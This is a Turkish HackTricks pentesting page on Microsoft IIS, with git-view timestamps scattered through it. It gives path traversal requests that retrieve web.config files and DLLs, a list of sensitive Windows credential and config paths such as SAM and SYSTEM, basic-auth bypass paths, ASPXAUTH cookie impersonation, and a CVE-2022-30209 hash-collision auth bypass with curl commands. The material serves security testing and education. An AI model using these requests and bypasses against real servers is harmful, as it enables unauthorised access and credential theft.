hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md

317 lines
17 KiB
Markdown
Raw Normal View History

# IIS - Internet Bilgi Hizmetleri
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2023-12-31 01:24:39 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
---
Test edilebilir dosya uzantıları:
* asp
* aspx
* config
* php
## Dahili IP Adresi Açığa Çıkarma
302 alınan herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanarak içerideki yanıtın Location başlığının sizi dahili IP adresine yönlendirebileceğini deneyebilirsiniz:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
```html
<p>Internal IP Address: 192.168.1.10</p>
```
```html
<p>İç IP Adresi: 192.168.1.10</p>
```
```
2024-02-10 18:14:16 +00:00
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## .config Dosyalarını Yürütme
.config dosyalarını yükleyebilir ve kodu yürütmek için bunları kullanabilirsiniz. Bunun bir yolu, kodu dosyanın sonuna bir HTML yorumu içine eklemektir: [Örneği buradan indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Bu zafiyeti sömürmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
2024-02-10 18:14:16 +00:00
## IIS Keşif Bruteforce
2024-02-10 18:14:16 +00:00
Oluşturduğum listeyi indirin:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Bu liste aşağıdaki listelerin içeriğini birleştirerek oluşturulmuştur:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Uzantı eklemeksizin kullanın, ihtiyacı olan dosyalar zaten ekli.
2024-02-10 18:14:16 +00:00
## Yol Geçişi
2021-04-01 12:07:26 +00:00
2024-02-10 18:14:16 +00:00
### Kaynak kodu sızdırma
2021-04-01 12:07:26 +00:00
Tam açıklamayı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
2024-02-08 21:36:15 +00:00
2021-04-01 12:55:58 +00:00
{% hint style="info" %}
Özet olarak, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**"e referans veren birkaç web.config dosyası bulunmaktadır. Bu bilgi ile **uygulamanın nerede yürütülebilir dosyaların bulunduğunu** bilmek mümkündür ve bunları indirebilirsiniz.\
İndirilen Dll'lerden yeni **namespaces** bulunabilir ve erişmeye çalışmanız gereken yeni namespaces ve assemblyIdentity'leri bulmak için web.config dosyasını alabilirsiniz.\
Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.\\
2021-04-01 12:55:58 +00:00
{% endhint %}
**.Net MVC uygulamalarında**, **web.config** dosyası, uygulamanın her bir ikili dosyaya "**assemblyIdentity**" XML etiketleri aracılığıyla bağımlı olduğunu belirterek önemli bir rol oynar.
2024-02-08 21:36:15 +00:00
2024-02-10 18:14:16 +00:00
### **İkili Dosyaları Keşfetme**
2021-04-01 12:07:26 +00:00
Aşağıda **web.config** dosyasına erişimin bir örneği gösterilmektedir:
2021-04-01 12:55:58 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Bu istek, çeşitli ayarları ve bağımlılıkları ortaya çıkarır, örneğin:
2021-04-01 12:07:26 +00:00
* **EntityFramework** sürümü
* Web sayfaları, istemci doğrulaması ve JavaScript için **AppSettings**
* Kimlik doğrulama ve çalışma zamanı için **System.web** yapılandırmaları
* **System.webServer** modüller ayarları
* **Microsoft.Owin**, **Newtonsoft.Json** ve **System.Web.Mvc** gibi çeşitli kütüphaneler için **Runtime** derleme bağlantıları
2021-04-01 12:07:26 +00:00
Bu ayarlar, belirli dosyaların, örneğin **/bin/WebGrease.dll** gibi, uygulamanın /bin klasöründe bulunduğunu gösterir.
2021-04-01 12:07:26 +00:00
2024-02-10 18:14:16 +00:00
### **Kök Dizin Dosyaları**
2021-04-01 12:07:26 +00:00
**/global.asax** ve hassas şifreler içeren **/connectionstrings.config** gibi kök dizinde bulunan dosyalar, uygulamanın yapılandırması ve işleyişi için önemlidir.
2021-04-01 12:07:26 +00:00
### **Ad Alanları ve Web.Config**
2021-04-01 12:07:26 +00:00
MVC uygulamaları, her dosyada tekrarlayan deklarasyonlardan kaçınmak için belirli ad alanları için ek **web.config dosyaları** tanımlar. Başka bir **web.config** dosyasını indirmek için yapılan bir istekte olduğu gibi.
2021-04-01 12:55:58 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLL'lerin İndirilmesi**
2021-04-01 12:07:26 +00:00
Özel bir ad alanından bahsedilmesi, /bin dizininde bulunan "**WebApplication1**" adlı bir DLL'ye işaret ediyor. Buna bağlı olarak, **WebApplication1.dll** dosyasını indirmek için bir istek gösterilmiştir:
2024-02-08 21:36:15 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Bu, /bin dizininde **System.Web.Mvc.dll** ve **System.Web.Optimization.dll** gibi diğer önemli DLL'lerin varlığını işaret eder.
2021-04-01 12:07:26 +00:00
Bir DLL'nin **WebApplication1.Areas.Minded** adında bir ad alanı içe aktardığı bir senaryoda, saldırgan, /bin klasöründeki diğer DLL'lerin referanslarını ve belirli yapılandırmaları içeren, öngörülebilir yollardaki diğer web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config**'a yapılan bir istek, varlığı gösteren yapılandırmalar ve ad alanları ortaya çıkarabilir, başka bir DLL olan **WebApplication1.AdditionalFeatures.dll**.
2021-04-01 12:55:58 +00:00
2024-02-10 18:14:16 +00:00
### Ortak dosyalar
[buradan](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
2024-02-10 18:14:16 +00:00
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
2024-02-10 18:14:16 +00:00
## HTTPAPI 2.0 404 Hatası
Eğer aşağıdaki gibi bir hata görürseniz:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Bu, sunucunun **Doğru etki alanı adını** Host başlığı içinde almadığı anlamına gelir. Web sayfasına erişmek için sunulan **SSL Sertifikası**'na bakabilir ve belki de etki alanı/alt etki alanı adını orada bulabilirsiniz. Eğer orada değilse, doğru olanı bulana kadar **VHost'ları brute force** edebilirsiniz.
## Araştırılmaya Değer Eski IIS Zayıflıkları
### Microsoft IIS tilde karakteri "\~" Zayıflığı/Özelliği - Kısa Dosya/Klasör Adııklaması
Bu **tekniği** kullanarak her keşfedilen klasörün içindeki klasörleri ve dosyaları **numaralandırabilirsiniz** (Bile Temel Kimlik Doğrulama gerektiriyorsa).\
Bu tekniğin ana kısıtlaması, sunucunun zayıf olması durumunda **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir.
Bu zayıflığı test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (841).png>)
Orijinal araştırma: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
Ayrıca **metasploit**'i kullanabilirsiniz: `use scanner/http/iis_shortname_scanner`
### Temel Kimlik Doğrulaması Atlatma
**Temel kimlik doğrulamasını** atlayın (**IIS 7.5**) şu yolu deneyerek: `/admin:$i30:$INDEX_ALLOCATION/admin.php` veya `/admin::$INDEX_ALLOCATION/admin.php`
Bu zayıflığı ve bir öncekinin birleştirerek yeni **klasörler** bulmaya ve kimlik doğrulamasını atlamaya çalışabilirsiniz.
## ASP.NET Trace.AXD etkinleştirilmiş hata ayıklama
ASP.NET, bir hata ayıklama moduna sahiptir ve dosyası `trace.axd` olarak adlandırılır.
Belirli bir süre boyunca bir uygulamaya yapılan tüm isteklerin çok detaylı bir günlüğünü tutar.
Bu bilgiler, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezleri, fiziksel yollar, kaynak kod bilgileri ve muhtemelen hatta kullanıcı adları ve şifreleri içerebilir.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## ASPXAUTH Çerezi
ASPXAUTH aşağıdaki bilgileri kullanır:
* **`validationKey`** (dize): İmza doğrulaması için kullanılacak onaltılık kodlu anahtar.
* **`decryptionMethod`** (dize): (varsayılan "AES").
* **`decryptionIV`** (dize): onaltılık kodlu başlatma vektörü (sıfırlar vektörüne varsayılan olarak).
* **`decryptionKey`** (dize): Şifre çözümü için kullanılacak onaltılık kodlu anahtar.
Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **çerez olarak kullanıcı e-postasını** kullanacaklardır. Bu nedenle, ASPXAUTH çerezini kullanan aynı platformu kullanan bir web sitesi bulabilir ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-postasıyla bir kullanıcı oluşturabilirseniz**, ikinci sunucudan gelen çerezi birinci sunucuda kullanarak kullanıcıyı taklit edebilirsiniz.\
Bu saldırı, bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) işe yaramıştır.
## Önbelleğe Alınmış Şifrelerle IIS Kimlik Doğrulamasını Atlatma (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Tam rapor burada](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kodda bir hata, kullanıcı tarafından verilen şifreyi **doğru bir şekilde kontrol etmediği** için, şifre hash'i önbellekte zaten bulunan bir anahtara denk gelirse, saldırgan o kullanıcı olarak giriş yapabilecektir.
```python
# script for sanity check
> type test.py
def HashString(password):
2024-02-10 18:14:16 +00:00
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılım saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2023-12-31 01:24:39 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>